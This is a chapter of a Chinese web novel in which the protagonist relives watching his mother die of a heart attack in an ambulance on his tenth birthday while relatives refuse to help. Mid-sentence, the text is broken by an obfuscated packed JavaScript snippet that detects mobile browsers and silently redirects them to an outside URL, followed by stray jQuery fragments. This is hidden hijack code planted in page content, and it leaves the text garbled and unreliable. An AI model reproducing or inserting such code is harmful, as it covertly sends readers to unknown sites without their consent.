雨季终于翻篇，空气却湿热黏得能拧出水来。夜里蝉声一浪高过一浪，吵得人头皮发麻，仿佛非要把人从床上拖起来陪它们熬夜。
别墅外的春花早凋了，换成一丛丛倔强的绿，密密实实，把这座小楼藏得更深。花圃是林鹤羽的地盘，桔梗、洋甘菊、百合被他伺候得娇滴滴的，风一吹，花香就顺着窗缝往屋里钻，轻柔却霸道，填满每个角落。
林鹤羽已经很久不做梦了，可今夜他偏偏栽进一个深得发黑的梦。
梦里是小时候那个热得像蒸笼的夏天。风在耳边呼啸，母亲青紫的嘴唇，医院走廊刺鼻的消毒水味，葬礼上低沉的哀乐……，画面哗啦啦地闪，真实到他几乎能听到那年夏天的风跟雨混在一起的声音。
他猛地睁眼，月光从窗帘缝隙漏进来，洒在滴答走着的闹钟上。屋里静得能听见自己的心跳。林鹤羽忽然想起，今天是他的生日。
怪不得那些被他亲手埋进土里的记忆，今夜集体翻了身，硬要回来找他算账。
比起那段灰暗的过去，现在的生活反而像一场不真实的梦。和喜欢的人住在一个屋檐下，每天除了学习和工作，还有晋云陪他打游戏、看电影、甚至一起抢最后一口冰可乐。年少时想都不敢想的“家”，如今被晋云用喜欢和耐心一手给他搭了起来。他甚至胖了，瘦得凸骨的少年不见了，取而代之的是摸上去带着软肉的手感，连镜子里的自己都陌生得柔和。
难怪晋云看他的眼神越来越不对劲。
他当然知道晋云想要的不止是牵手和亲吻。每次抱他的时候，那双手总爱在他腰后乱摸，带着明目张胆的占便宜的意味，却又在最要命的时候收住，故意吊着他。林鹤羽气得牙痒，又羞得要命，心跳得飞快。
更要命的是，他总觉得晋云还藏着别的打算，那人笑起来时，眼底偶尔闪过的暗色，让他心里发毛，却又说不上来是什么。
“等你长大就知道了。”晋云曾经这样说，声音低低的，尾音带着钩子。
林鹤羽把被子拉过头顶，可梦里的画面一幕幕闪过，生日快乐——这四个字在脑子里不断盘旋。
他闭上眼，本想把思绪压回去，可越是想忘，那年夏天的画面反而越清晰。
那天他也是在这样热的傍晚。
蝉声比现在还疯。
他背着书包，一路小跑回家，满脑子都是晚上要跟爸妈一起去看烟花。母亲答应过他，会做他最爱的糖醋排骨，还说要给他一个惊喜。
他推开门的那一刻，空气里却只有死一样的寂静。
母亲半蹲在客厅的椅子上，手死死捂着胸口，额头上的汗大颗大颗往下滚。她看见他，嘴角动了动，想笑，却只发出一声短促的抽气。
“妈妈？”
他书包“咚”地砸在地上。他扑过去时，母亲已经顺着椅子滑下去，整个人瘫在地板上。
他跪在地上，使劲摇她，嗓音因恐惧而颤抖，可母亲只是睫毛轻轻颤一下，再没睁开眼。那张平日里温柔的笑脸迅速变成青灰色，嘴唇一点点发紫。
手机就在母亲口袋里，他抖得几乎抓不住。好不容易拨通父亲的号码，一声、两声、三声……。
“喂，120吗？我妈妈晕倒了！锦绣路88号6楼……她胸口疼……她晕过去了！你们快来！”
他语无伦次，却把地址说得清清楚楚。电话那头让他别挂，他点头，嗓子却一个字也挤不出来。
他又去敲邻居的门。601没人，602的阿姨探出半个脑袋，看了一眼楼下闪烁的120急救车的灯，“砰”地把门关上了。
医生上来的时候，他已经腿软无力。医护人员把母亲抬上担架，他踉跄着跟在后面，手指死死攥着母亲冰凉的手腕。
车上，氧气罩盖住母亲半张脸，监护仪的滴滴声又尖又急。护士问他爸爸电话，他翻出通讯录，一个一个拨过去。叔叔、婶婶、姑姑……不是忙音就是关机。最后接通的那个叔叔，听到“心肌梗塞”“需要签字”几个字，声音立刻变得含糊：“啊？要花很多钱吧……我、我帮你找你爸啊，先这样。”
电话挂断，护士看着他，眼里满是怜悯。
“小朋友，你别急，你妈妈会没事的。”
救护车的鸣笛在夏夜里拉得极长。
林鹤羽被医护人员抱上了车。车门“砰”地关上的那一刻，他才后知后觉地意识到：母亲的手已经从他掌心里滑走了。担架被固定在车厢中央，母亲仰面躺着，氧气面罩蒙在脸上，起伏的胸口弱得几乎看不见。
仪器滴滴答答地响。
他死死盯着那条忽明忽暗的绿线，盯着盯着，忽然就不敢呼吸了，好像只要他敢喘一口大气，那条线就会彻底塌下去。
车子一路狂奔，红灯全当没看见。车窗外的灯火被拉成一道道血红的线，掠过母亲惨白的脸。林鹤羽坐在旁边的小凳子上，双手空空地垂在膝盖上，指尖还在发抖。刚才那只温暖的手，此刻被医护人员握着打针、按压，连一根手指都没留给他。
“小孩，别挡着。” 另一个医生把他往旁边推了推。他，踉跄一下，后背撞上冰冷的车壁。
手机又被塞回他手里。护士的声音隔着一层厚玻璃传来：“再打一遍给你爸爸。”
他低头看屏幕，屏幕早已被泪水糊花。爸爸的号码被他按了无数次。可每一次，都是冰冷的忙音。
嘟—— 嘟—— 嘟——
他把手机贴在耳边，听着那声音，听得耳膜发疼，听得眼泪一滴滴砸在母亲惨败的脚背上。
叔叔的电话终于通了。
他张嘴想喊，却发现嗓子已经哑得发不出声音。护士直接把
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17053393|194848||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
手机抢过去，按了免提。
“喂？”电话那头传来叔叔懒洋洋的声音，背景里还有电视里咿咿呀呀的戏曲。
“我是急救科的！”护士几乎是吼的，“你家属急性心梗，现在抢救！人呢？你们家属呢？手术同意书谁来签？！”
电话里沉默了两秒。
“啊？这么严重啊……”叔叔的声音一下子拔高，又迅速压低，“那、那得花多少钱啊？我们家最近也紧……要不你们先抢救，我帮你们找她老公……”
护士气得手都在抖，直接把手机怼到林鹤羽面前：“你自己跟他说！”
林鹤羽接过来，嘴唇抖得几乎咬破了血：“叔叔……我妈……我妈她快不行了……你能不能来……求你了……”
电话那头吸了口烟，慢吞吞地吐出一句：“鹤羽啊，叔叔也在外面忙……叔叔现在没钱，真没那个能力……你先别急啊……”
“砰！”护士一把抢回手机，挂断前，林鹤羽清清楚楚听见那边传来一句小声的抱怨：“……早知道不接这电话了。”
手机被摔在担架旁，发出清脆一声。
车厢里突然安静得可怕，只剩心电监护仪刺耳的“滴——滴——”和母亲喉咙里微弱的喘息。
林鹤羽慢慢蹲下去，背贴着冰冷的墙壁，一点点滑坐在地上。他抱住自己的膝盖，把脸埋进去，牙齿咬得死紧，却还是挡不住那股从胸腔里涌上来的、几乎要撕裂他的呜咽。
他多小啊。 十岁。 连“心肌梗塞”四个字都要护士教他一字一顿地念。 连手术同意书上“可能死亡”三个字都要护士用手挡住，不让他看见。
可他什么都懂了。
他懂了爸爸不会接电话。 懂了亲戚不会来。 懂了母亲随时可能会在他面前闭上眼睛，而他连她的手都抓不住。
滴—— 滴—— 滴————
那声音忽然拉长，变得又尖又细。
林鹤羽猛地抬头，心电监护仪的绿线正在剧烈抖动，然后一点点、一寸寸，往平线坠去。
“准备除颤！” “肾上腺素！快！” “孩子，让开！”
有人一把将他推开，他踉跄着摔在车门上，额头磕出青紫。
他眼睁睁看着母亲的身体在电击下猛地弓起，又重重砸回担架。 一次。 两次。 三次。
母亲的胸口再也没有起伏。
心电监护仪发出长长的一声“滴————”。
林鹤羽跪在地上，伸手想去抓母亲的手，却只抓到一团冰冷的空气。
车窗外的烟花终于升起来了。 砰—— 砰—— 五颜六色的光，透过车窗，一闪一闪地照在母亲毫无血色的脸上。
那是她答应过要带他来看的生日烟花。
他十岁的生日礼物。
生日快乐。